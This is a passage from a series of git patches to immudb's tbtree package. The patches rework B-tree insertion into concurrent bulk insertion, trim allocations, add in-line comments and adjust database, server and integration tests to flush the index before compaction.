n.updateOnInsertAt(key, value, ts) + + newNode := &innerNode{ + t: n.t, + nodes: make([]node, len(n.nodes)), + _ts: n._ts, + _minOff: n._minOff, + mut: true, + } + + copy(newNode.nodes, n.nodes) + + return newNode.updateOnInsertAt(sortedKVs, ts) } -func (n *innerNode) updateOnInsertAt(key []byte, value []byte, ts uint64) (nodes []node, depth int, err error) { - insertAt := n.indexOf(key) +func (n *innerNode) updateOnInsertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int, err error) { + kvsPerChild := make(map[int][]*KV) - c := n.nodes[insertAt] + for _, kv := range sortedKVs { + insertAt := n.indexOf(kv.K) - cs, depth, err := c.insertAt(key, value, ts) - if err != nil { - return nil, 0, err + _, ok := kvsPerChild[insertAt] + if ok { + kvsPerChild[insertAt] = []*KV{kv} + } else { + kvsPerChild[insertAt] = append(kvsPerChild[insertAt], kv) + } } - n._ts = ts + var wg sync.WaitGroup + wg.Add(len(kvsPerChild)) - ns := make([]node, len(n.nodes)+len(cs)-1) + nodesPerChild := make(map[int][]node) + var nodesMutex sync.Mutex - copy(ns, n.nodes[:insertAt]) - copy(ns[insertAt:], cs) - copy(ns[insertAt+len(cs):], n.nodes[insertAt+1:]) + for childIndex, kvs := range kvsPerChild { + go func(childIndex int, sortedKVs []*KV) { + defer wg.Done() - n.nodes = ns + c := n.nodes[childIndex] - nodes, err = n.split() + cs, cdepth, cerr := c.insertAt(sortedKVs, ts) - return nodes, depth + 1, err -} + nodesMutex.Lock() + defer nodesMutex.Unlock() -func (n *innerNode) copyOnInsertAt(key []byte, value []byte, ts uint64) (nodes []node, depth int, err error) { - insertAt := n.indexOf(key) + if err != nil { + err = cerr + return + } - c := n.nodes[insertAt] + nodesPerChild[childIndex] = cs + if cdepth > depth { + depth = cdepth + } + }(childIndex, kvs) + } - cs, depth, err := c.insertAt(key, value, ts) + // wait for all the insertions to be done + wg.Wait() + + // TODO: gets should ignore any change greater than root.Ts if err != nil { return nil, 0, err } - newNode := &innerNode{ - t: n.t, - nodes: make([]node, len(n.nodes)+len(cs)-1), - _ts: ts, - mut: true, - _minOff: n._minOff, + n._ts = ts + + ns := make([]node, 0) + + for i, n := range n.nodes { + cs, ok := nodesPerChild[i] + if ok { + ns = append(ns, cs...) + } else { + ns = append(ns, n) + } } - copy(newNode.nodes, n.nodes[:insertAt]) - copy(newNode.nodes[insertAt:], cs) - copy(newNode.nodes[insertAt+len(cs):], n.nodes[insertAt+1:]) + n.nodes = ns - nodes, err = newNode.split() + nodes, _ = n.split() - return nodes, depth + 1, err + return nodes, depth + 1, nil } func (n *innerNode) get(key []byte) (value []byte, ts uint64, hc uint64, err error) { @@ -1936,6 +1971,7 @@ func (n *innerNode) minKey() []byte { return n.nodes[0].minKey() } +// indexOf returns the first child at which key is equal or greater than its minKey func (n *innerNode) indexOf(key []byte) int { metricsBtreeInnerNodeEntries.WithLabelValues(n.t.path).Observe(float64(len(n.nodes))) @@ -1955,8 +1991,10 @@ func (n *innerNode) indexOf(key []byte) int { if diff == 0 { return middle } else if diff < 0 { + // minKey < key left = middle } else { + // minKey > key right = middle - 1 } } @@ -2012,12 +2050,12 @@ func (n *innerNode) updateTs() { //////////////////////////////////////////////////////////// -func (r *nodeRef) insertAt(key []byte, value []byte, ts uint64) (nodes []node, depth int, err error) { +func (r *nodeRef) insertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int, err error) { n, err := r.t.nodeAt(r.off, true) if err != nil { return nil, 0, err } - return n.insertAt(key, value, ts) + return n.insertAt(sortedKVs, ts) } func (r *nodeRef) get(key []byte) (value []byte, ts uint64, hc uint64, err error) { @@ -2084,130 +2122,64 @@ func (r *nodeRef) offset() int64 { //////////////////////////////////////////////////////////// -func (l *leafNode) insertAt(key []byte, value []byte, ts uint64) (nodes []node, depth int, err error) { - if !l.mutated() { - return l.copyOnInsertAt(key, value, ts) +func (l *leafNode) insertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int, err error) { + if l.mutated() { + return l.updateOnInsertAt(sortedKVs, ts) } - return l.updateOnInsertAt(key, value, ts) -} -func (l *leafNode) updateOnInsertAt(key []byte, value []byte, ts uint64) (nodes []node, depth int, err error) { - i, found := l.indexOf(key) - - l._ts = ts - - if found { - l.values[i].value = value - l.values[i].ts = ts - l.values[i].tss = append([]uint64{ts}, l.values[i].tss...) - } else { - values := make([]*leafValue, len(l.values)+1) - - copy(values, l.values[:i]) + newLeaf := &leafNode{ + t: l.t, + values: make([]*leafValue, len(l.values)), + _ts: l._ts, + mut: true, + } - values[i] = &leafValue{ - key: key, - value: value, - ts: ts, - tss: []uint64{ts}, - hOff: -1, - hCount: 0, + for i, lv := range l.values { + newLeaf.values[i] = &leafValue{ + key: lv.key, + value: lv.value, + ts: lv.ts, + tss: lv.tss, + hOff: lv.hOff, + hCount: lv.hCount, } - - copy(values[i+1:], l.values[i:]) - - l.values = values } - nodes, err = l.split() - - return nodes, 1, err + return newLeaf.updateOnInsertAt(sortedKVs, ts) } -func (l *leafNode) copyOnInsertAt(key []byte, value []byte, ts uint64) (nodes []node, depth int, err error) { - i, found := l.indexOf(key) - - var newLeaf *leafNode +func (l *leafNode) updateOnInsertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int, err error) { + for _, kv := range sortedKVs { - if found { - newLeaf = &leafNode{ - t: l.t, - values: make([]*leafValue, len(l.values)), - _ts: ts, - mut: true, - } + i, found := l.indexOf(kv.K) - for pi := 0; pi < i; pi++ { - newLeaf.values[pi] = &leafValue{ - key: l.values[pi].key, - value: l.values[pi].value, - ts: l.values[pi].ts, - tss: l.values[pi].tss, - hOff: l.values[pi].hOff, - hCount: l.values[pi].hCount, - } - } + if found { + l.values[i].value = kv.V + l.values[i].ts = ts + l.values[i].tss = append([]uint64{ts}, l.values[i].tss...) + } else { + values := make([]*leafValue, len(l.values)+1) - newLeaf.values[i] = &leafValue{ - key: key, - value: value, - ts: ts, - tss: append([]uint64{ts}, l.values[i].tss...), - hOff: l.values[i].hOff, - hCount: l.values[i].hCount, - } + copy(values, l.values[:i]) - for pi := i + 1; pi < len(newLeaf.values); pi++ { - newLeaf.values[pi] = &leafValue{ - key: l.values[pi].key, - value: l.values[pi].value, - ts: l.values[pi].ts, - tss: l.values[pi].tss, - hOff: l.values[pi].hOff, - hCount: l.values[pi].hCount, + values[i] = &leafValue{ + key: kv.K, + value: kv.V, + ts: ts, + tss: []uint64{ts}, + hOff: -1, + hCount: 0, } - } - } else { - newLeaf = &leafNode{ - t: l.t, - values: make([]*leafValue, len(l.values)+1), - _ts: ts, - mut: true, - } - - for pi := 0; pi < i; pi++ { - newLeaf.values[pi] = &leafValue{ - key: l.values[pi].key, - value: l.values[pi].value, - ts: l.values[pi].ts, - tss: l.values[pi].tss, - hOff: l.values[pi].hOff, - hCount: l.values[pi].hCount, - } - } - newLeaf.values[i] = &leafValue{ - key: key, - value: value, - ts: ts, - tss: []uint64{ts}, - hOff: -1, - hCount: 0, - } - - for pi := i + 1; pi < len(newLeaf.values); pi++ { - newLeaf.values[pi] = &leafValue{ - key: l.values[pi-1].key, - value: l.values[pi-1].value, - ts: l.values[pi-1].ts, - tss: l.values[pi-1].tss, - hOff: l.values[pi-1].hOff, - hCount: l.values[pi-1].hCount, - } + copy(values[i+1:], l.values[i:]) + + l.values = values } } - nodes, err = newLeaf.split() + l._ts = ts + + nodes, err = l.split() return nodes, 1, err } diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index b823bfc303..c2923719d8 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -1392,7 +1392,7 @@ func BenchmarkRandomBulkInsertion(b *testing.B) { for i := 0; i < kBulkCount; i++ { for j := 0; j < kBulkSize; j++ { - k := make([]byte, 8) + k := make([]byte, 32) v := make([]byte, 32) rnd.Read(k) From 2e3ebea75985ede2b80bdeffc23b217b319b7c31 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 28 Dec 2022 11:06:46 -0300 Subject: [PATCH 0101/1062] chore(embedded/tbtree): optimized bulk insertion Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index bc922d1373..9d9b47455b 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1787,14 +1787,8 @@ func (n *innerNode) updateOnInsertAt(sortedKVs []*KV, ts uint64) (nodes []node, kvsPerChild := make(map[int][]*KV) for _, kv := range sortedKVs { - insertAt := n.indexOf(kv.K) - - _, ok := kvsPerChild[insertAt] - if ok { - kvsPerChild[insertAt] = []*KV{kv} - } else { - kvsPerChild[insertAt] = append(kvsPerChild[insertAt], kv) - } + childIndex := n.indexOf(kv.K) + kvsPerChild[childIndex] = append(kvsPerChild[childIndex], kv) } var wg sync.WaitGroup @@ -1829,7 +1823,6 @@ func (n *innerNode) updateOnInsertAt(sortedKVs []*KV, ts uint64) (nodes []node, // wait for all the insertions to be done wg.Wait() - // TODO: gets should ignore any change greater than root.Ts if err != nil { return nil, 0, err } @@ -2135,11 +2128,14 @@ func (l *leafNode) insertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int } for i, lv := range l.values { + tss := make([]uint64, len(lv.tss)) + copy(tss, lv.tss) + newLeaf.values[i] = &leafValue{ key: lv.key, value: lv.value, ts: lv.ts, - tss: lv.tss, + tss: tss, hOff: lv.hOff, hCount: lv.hCount, } @@ -2150,7 +2146,6 @@ func (l *leafNode) insertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int func (l *leafNode) updateOnInsertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int, err error) { for _, kv := range sortedKVs { - i, found := l.indexOf(kv.K) if found { From 1d01c37d37be94eb6e4c421bb3dee029c700bf76 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 28 Dec 2022 12:01:03 -0300 Subject: [PATCH 0102/1062] chore(embedded/tbtree): wip reduce allocs while updating inner node Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 9d9b47455b..b1b65405c8 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1829,14 +1829,26 @@ func (n *innerNode) updateOnInsertAt(sortedKVs []*KV, ts uint64) (nodes []node, n._ts = ts - ns := make([]node, 0) + nsSize := len(n.nodes) + + for i := range n.nodes { + cs, ok := nodesPerChild[i] + if ok { + nsSize += len(cs) - 1 + } + } + + ns := make([]node, nsSize) + nsi := 0 for i, n := range n.nodes { cs, ok := nodesPerChild[i] if ok { - ns = append(ns, cs...) + copy(ns[nsi:], cs) + nsi += len(cs) } else { - ns = append(ns, n) + ns[nsi] = n + nsi++ } } From 654d564b8937059e5ad6bbec96c8cfbfcd58a9ae Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 28 Dec 2022 12:46:49 -0300 Subject: [PATCH 0103/1062] chore(embedded/tbtree): add in-line comments Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 38 +++++++++++++++++++++----------------- 1 file changed, 21 insertions(+), 17 deletions(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index b1b65405c8..12b4dae571 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -225,7 +225,7 @@ type pathNode struct { } type node interface { - insertAt(sortedKVs []*KV, ts uint64) ([]node, int, error) + insertAt(kvs []*KV, ts uint64) ([]node, int, error) get(key []byte) (value []byte, ts uint64, hc uint64, err error) history(key []byte, offset uint64, descOrder bool, limit int) ([]uint64, uint64, error) findLeafNode(keyPrefix []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) @@ -1765,9 +1765,9 @@ func (t *TBtree) snapshotClosed(snapshot *Snapshot) error { return nil } -func (n *innerNode) insertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int, err error) { +func (n *innerNode) insertAt(kvs []*KV, ts uint64) (nodes []node, depth int, err error) { if n.mutated() { - return n.updateOnInsertAt(sortedKVs, ts) + return n.updateOnInsertAt(kvs, ts) } newNode := &innerNode{ @@ -1780,13 +1780,14 @@ func (n *innerNode) insertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth in copy(newNode.nodes, n.nodes) - return newNode.updateOnInsertAt(sortedKVs, ts) + return newNode.updateOnInsertAt(kvs, ts) } -func (n *innerNode) updateOnInsertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int, err error) { +func (n *innerNode) updateOnInsertAt(kvs []*KV, ts uint64) (nodes []node, depth int, err error) { + // group kvs by child at which they will be inserted kvsPerChild := make(map[int][]*KV) - for _, kv := range sortedKVs { + for _, kv := range kvs { childIndex := n.indexOf(kv.K) kvsPerChild[childIndex] = append(kvsPerChild[childIndex], kv) } @@ -1797,18 +1798,20 @@ func (n *innerNode) updateOnInsertAt(sortedKVs []*KV, ts uint64) (nodes []node, nodesPerChild := make(map[int][]node) var nodesMutex sync.Mutex - for childIndex, kvs := range kvsPerChild { - go func(childIndex int, sortedKVs []*KV) { + for childIndex, childKVs := range kvsPerChild { + // insert kvs at every child simultaneously + go func(childIndex int, childKVs []*KV) { defer wg.Done() c := n.nodes[childIndex] - cs, cdepth, cerr := c.insertAt(sortedKVs, ts) + cs, cdepth, cerr := c.insertAt(childKVs, ts) nodesMutex.Lock() defer nodesMutex.Unlock() if err != nil { + // if any of its children fail to insert, insertion fails err = cerr return } @@ -1817,7 +1820,7 @@ func (n *innerNode) updateOnInsertAt(sortedKVs []*KV, ts uint64) (nodes []node, if cdepth > depth { depth = cdepth } - }(childIndex, kvs) + }(childIndex, childKVs) } // wait for all the insertions to be done @@ -1829,6 +1832,7 @@ func (n *innerNode) updateOnInsertAt(sortedKVs []*KV, ts uint64) (nodes []node, n._ts = ts + // count the number of children after insertion nsSize := len(n.nodes) for i := range n.nodes { @@ -2055,12 +2059,12 @@ func (n *innerNode) updateTs() { //////////////////////////////////////////////////////////// -func (r *nodeRef) insertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int, err error) { +func (r *nodeRef) insertAt(kvs []*KV, ts uint64) (nodes []node, depth int, err error) { n, err := r.t.nodeAt(r.off, true) if err != nil { return nil, 0, err } - return n.insertAt(sortedKVs, ts) + return n.insertAt(kvs, ts) } func (r *nodeRef) get(key []byte) (value []byte, ts uint64, hc uint64, err error) { @@ -2127,9 +2131,9 @@ func (r *nodeRef) offset() int64 { //////////////////////////////////////////////////////////// -func (l *leafNode) insertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int, err error) { +func (l *leafNode) insertAt(kvs []*KV, ts uint64) (nodes []node, depth int, err error) { if l.mutated() { - return l.updateOnInsertAt(sortedKVs, ts) + return l.updateOnInsertAt(kvs, ts) } newLeaf := &leafNode{ @@ -2153,11 +2157,11 @@ func (l *leafNode) insertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int } } - return newLeaf.updateOnInsertAt(sortedKVs, ts) + return newLeaf.updateOnInsertAt(kvs, ts) } -func (l *leafNode) updateOnInsertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int, err error) { - for _, kv := range sortedKVs { +func (l *leafNode) updateOnInsertAt(kvs []*KV, ts uint64) (nodes []node, depth int, err error) { + for _, kv := range kvs { i, found := l.indexOf(kv.K) if found { From af7427281c8e9284253bc61d11729fd6f6d51eb5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 28 Dec 2022 13:12:09 -0300 Subject: [PATCH 0104/1062] chore(embedded/tbtree): remove unnecessary kv sorting Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 12b4dae571..e97e163683 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -27,7 +27,6 @@ import ( "math" "os" "path/filepath" - "sort" "strconv" "strings" "sync" @@ -1562,7 +1561,8 @@ func (t *TBtree) BulkInsert(kvs []*KV) error { return ErrIllegalArguments } - sortedKVs := make([]*KV, len(kvs)) + // validated immutable copy of input kv pairs + immutableKVs := make([]*KV, len(kvs)) for i, kv := range kvs { if kv == nil || kv.K == nil || kv.V == nil { @@ -1583,17 +1583,12 @@ func (t *TBtree) BulkInsert(kvs []*KV) error { v := make([]byte, len(kv.V)) copy(v, kv.V) - sortedKVs[i] = &KV{ + immutableKVs[i] = &KV{ K: k, V: v, } } - // sort entries to increase cache hits - sort.Slice(sortedKVs, func(i, j int) bool { - return bytes.Compare(sortedKVs[i].K, sortedKVs[j].K) < 0 - }) - t.rwmutex.Lock() defer func() { @@ -1616,7 +1611,7 @@ func (t *TBtree) BulkInsert(kvs []*KV) error { ts := t.root.ts() + 1 - nodes, depth, err := t.root.insertAt(sortedKVs, ts) + nodes, depth, err := t.root.insertAt(immutableKVs, ts) if err != nil { return err } @@ -1641,9 +1636,9 @@ func (t *TBtree) BulkInsert(kvs []*KV) error { metricsBtreeDepth.WithLabelValues(t.path).Set(float64(depth)) - t.insertionCountSinceFlush += len(sortedKVs) - t.insertionCountSinceSync += len(sortedKVs) - t.insertionCountSinceCleanup += len(sortedKVs) + t.insertionCountSinceFlush += len(immutableKVs) + t.insertionCountSinceSync += len(immutableKVs) + t.insertionCountSinceCleanup += len(immutableKVs) if t.insertionCountSinceFlush >= t.flushThld { _, _, err := t.flushTree(t.cleanupPercentage, false, false, "BulkInsert") From 3376a345d9cbc309085adc89f55d528ba14c0b1f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 28 Dec 2022 15:24:20 -0300 Subject: [PATCH 0105/1062] chore(embedded/tbtree): initialize tbtree with a non-mutated leaf Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index e97e163683..2bdab6d423 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -640,7 +640,7 @@ func OpenWith(path string, nLog, hLog, cLog appendable.Appendable, opts *Options } if validatedCLogEntry == nil { - t.root = &leafNode{t: t, mut: true} + t.root = &leafNode{t: t, mut: false} } else { t.root, err = t.readNodeAt(validatedCLogEntry.finalNLogSize - int64(validatedCLogEntry.rootNodeSize)) if err != nil { From 2553b79bc4b6b5cbf5c41ff88f1cede65c46b41f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 29 Dec 2022 08:40:08 -0300 Subject: [PATCH 0106/1062] test(pkg/database): remove non-required index compaction Signed-off-by: Jeronimo Irazabal --- pkg/database/database_test.go | 3 --- 1 file changed, 3 deletions(-) diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index f5fbe5c394..08e1c2d49f 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -491,9 +491,6 @@ func TestSetGetAll(t *testing.T) { require.NoError(t, err) require.Equal(t, uint64(2), txhdr.Id) - err = db.CompactIndex() - require.NoError(t, err) - itList, err := db.GetAll(&schema.KeyListRequest{ Keys: [][]byte{ []byte("Alberto"), From 9cb45dccbc6354d4d4ef8571191cfcbf68385ff3 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 29 Dec 2022 08:55:02 -0300 Subject: [PATCH 0107/1062] test(pkg/integration): ensure enough snapshots are created before calling compaction Signed-off-by: Jeronimo Irazabal --- pkg/integration/client_test.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index ca52c1d1f9..4534b5334e 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -923,6 +923,9 @@ func TestImmuClient_SetAll(t *testing.T) { _, err = client.SetAll(ctx, setRequest) require.NoError(t, err) + _, err = client.FlushIndex(ctx, 1, false) + require.NoError(t, err) + err = client.CompactIndex(ctx, &emptypb.Empty{}) require.NoError(t, err) From 82d272f99f08d170c0942ea7bb6a543413987cef Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 29 Dec 2022 09:24:53 -0300 Subject: [PATCH 0108/1062] test(pkg/server): ensure enough snapshots are created before calling compaction Signed-off-by: Jeronimo Irazabal --- pkg/server/server_test.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index afec658740..3db9c94159 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -871,6 +871,9 @@ func testServerSetGetBatch(ctx context.Context, s *ImmuServer, t *testing.T) { t.Fatalf("Nil index after Setbatch") } + _, err = s.FlushIndex(ctx, &schema.FlushIndexRequest{CleanupPercentage: 1}) + require.NoError(t, err) + _, err = s.CompactIndex(ctx, nil) require.NoError(t, err) From 0cd3770db6d4d1105118e4ac8c5d3654de233ff9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 2 Jan 2023 11:37:08 -0300 Subject: [PATCH 0109/1062] chore(embedded/tbtree: if split unexpectedly fails, changes will be rolled back Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 2bdab6d423..8cad8ccd91 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1825,6 +1825,7 @@ func (n *innerNode) updateOnInsertAt(kvs []*KV, ts uint64) (nodes []node, depth return nil, 0, err } + currTs := n._ts // if split unexpectedly fails, changes will be rolled back n._ts = ts // count the number of children after insertion @@ -1853,7 +1854,11 @@ func (n *innerNode) updateOnInsertAt(kvs []*KV, ts uint64) (nodes []node, depth n.nodes = ns - nodes, _ = n.split() + nodes, err = n.split() + if err != nil { + n._ts = currTs + return nil, 0, err + } return nodes, depth + 1, nil } From 3ad74eec400a29ddd46a514fc8400b9ae5f215ed Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 2 Jan 2023 11:42:10 -0300 Subject: [PATCH 0110/1062] chore(embedded/tbtree): in-line documentation Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 8cad8ccd91..a6fd005745 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -640,7 +640,9 @@ func OpenWith(path string, nLog, hLog, cLog appendable.Appendable, opts *Options } if validatedCLogEntry == nil { - t.root = &leafNode{t: t, mut: false} + // even when starting with a fresh btree, it's better to make the changes in a copy of the node, + // so that you can rollback if necessary. + t.root = &leafNode{t: t} } else { t.root, err = t.readNodeAt(validatedCLogEntry.finalNLogSize - int64(validatedCLogEntry.rootNodeSize)) if err != nil { From 434330fa144b88c13545843f38eaa9c4fddeb278 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 2 Jan 2023 11:53:42 -0300 Subject: [PATCH 0111/1062] chore(embedded/tbtree): rollback not needed as updates are made in a copy Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index a6fd005745..a543924de8 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1827,7 +1827,6 @@ func (n *innerNode) updateOnInsertAt(kvs []*KV, ts uint64) (nodes []node, depth return nil, 0, err } - currTs := n._ts // if split unexpectedly fails, changes will be rolled back n._ts = ts // count the number of children after insertion @@ -1858,7 +1857,6 @@ func (n *innerNode) updateOnInsertAt(kvs []*KV, ts uint64) (nodes []node, depth nodes, err = n.split() if err != nil { - n._ts = currTs return nil, 0, err } From 6bd07902d3314a671c92f23d5b1ae1b8814168c5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 2 Jan 2023 14:28:48 -0300 Subject: [PATCH 0112/1062] chore(embedded/store): added more in-line comments Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 21 ++++++++++++++------- embedded/store/indexer.go | 4 ++-- embedded/store/ongoing_tx_options.go | 4 +++- embedded/tbtree/tbtree.go | 18 +++++++++++------- 4 files changed, 30 insertions(+), 17 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index c4db8f92c2..52af95e1ce 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -806,21 +806,28 @@ func (s *ImmuStore) Snapshot() (*Snapshot, error) { }, nil } -func (s *ImmuStore) SnapshotMustIncludeTxID(snapshotMustIncludeTxID uint64) (*Snapshot, error) { - return s.SnapshotMustIncludeTxIDWithRenewalPeriod(snapshotMustIncludeTxID, 0) +// SnapshotMustIncludeTxID returns a new snapshot based on an existent dumped root (snapshot reuse). +// Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. +// If txID is 0, any snapshot may be used. +func (s *ImmuStore) SnapshotMustIncludeTxID(txID uint64) (*Snapshot, error) { + return s.SnapshotMustIncludeTxIDWithRenewalPeriod(txID, 0) } -func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(snapshotMustIncludeTxID uint64, snapshotRenewalPeriod time.Duration) (*Snapshot, error) { - if snapshotMustIncludeTxID > s.lastPrecommittedTxID() { - return nil, fmt.Errorf("%w: snapshotMustIncludeTxID is greater than the last precommitted transaction", ErrIllegalArguments) +// SnapshotMustIncludeTxIDWithRenewalPeriod returns a new snapshot based on an existent dumped root (snapshot reuse). +// Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. +// If txID is 0, any snapshot not older than renewalPeriod may be used. +// If renewalPeriod is 0, renewal period is not taken into consideration +func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(txID uint64, renewalPeriod time.Duration) (*Snapshot, error) { + if txID > s.lastPrecommittedTxID() { + return nil, fmt.Errorf("%w: txID is greater than the last precommitted transaction", ErrIllegalArguments) } - err := s.WaitForIndexingUpto(snapshotMustIncludeTxID, nil) + err := s.WaitForIndexingUpto(txID, nil) if err != nil { return nil, err } - snap, err := s.indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(snapshotMustIncludeTxID, snapshotRenewalPeriod) + snap, err := s.indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(txID, renewalPeriod) if err != nil { return nil, err } diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index e1d13f2e98..1c0903f877 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -152,7 +152,7 @@ func (idx *indexer) Snapshot() (*tbtree.Snapshot, error) { return idx.index.Snapshot() } -func (idx *indexer) SnapshotMustIncludeTxIDWithRenewalPeriod(snapshotMustIncludeTxID uint64, snapshotRenewalPeriod time.Duration) (*tbtree.Snapshot, error) { +func (idx *indexer) SnapshotMustIncludeTxIDWithRenewalPeriod(txID uint64, renewalPeriod time.Duration) (*tbtree.Snapshot, error) { idx.mutex.Lock() defer idx.mutex.Unlock() @@ -160,7 +160,7 @@ func (idx *indexer) SnapshotMustIncludeTxIDWithRenewalPeriod(snapshotMustInclude return nil, ErrAlreadyClosed } - return idx.index.SnapshotMustIncludeTsWithRenewalPeriod(snapshotMustIncludeTxID, snapshotRenewalPeriod) + return idx.index.SnapshotMustIncludeTsWithRenewalPeriod(txID, renewalPeriod) } func (idx *indexer) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, tx uint64, hc uint64, err error) { diff --git a/embedded/store/ongoing_tx_options.go b/embedded/store/ongoing_tx_options.go index 1051142ff0..d0d083443b 100644 --- a/embedded/store/ongoing_tx_options.go +++ b/embedded/store/ongoing_tx_options.go @@ -32,7 +32,9 @@ const ( type TxOptions struct { Mode TxMode // SnapshotMustIncludeTxID is a function which receives the latest precommitted transaction ID as parameter. - // It gaves the possibility to require a snapshot which includes a percentage of the transactions already indexed. + // It gives the possibility to reuse a snapshot which includes a percentage of the transactions already indexed + // e.g. func(lastPrecommittedTxID uint64) uint64 { return lastPrecommittedTxID * 90 / 100 } + // or just a fixed transaction ID e.g. func(_ uint64) uint64 { return 1_000 } SnapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 // SnapshotRenewalPeriod determines for how long a snaphsot may reuse existent dumped root SnapshotRenewalPeriod time.Duration diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index a543924de8..fe7dc0d8f5 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1678,13 +1678,15 @@ func (t *TBtree) Snapshot() (*Snapshot, error) { return t.SnapshotMustIncludeTs(0) } -func (t *TBtree) SnapshotMustIncludeTs(snapshotMustIncludeTs uint64) (*Snapshot, error) { - return t.SnapshotMustIncludeTsWithRenewalPeriod(snapshotMustIncludeTs, t.renewSnapRootAfter) +func (t *TBtree) SnapshotMustIncludeTs(ts uint64) (*Snapshot, error) { + return t.SnapshotMustIncludeTsWithRenewalPeriod(ts, t.renewSnapRootAfter) } // SnapshotMustIncludeTsWithRenewalPeriod returns a new snapshot based on an existent dumped root (snapshot reuse). // Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. -func (t *TBtree) SnapshotMustIncludeTsWithRenewalPeriod(snapshotMustIncludeTs uint64, snapshotRenewalPeriod time.Duration) 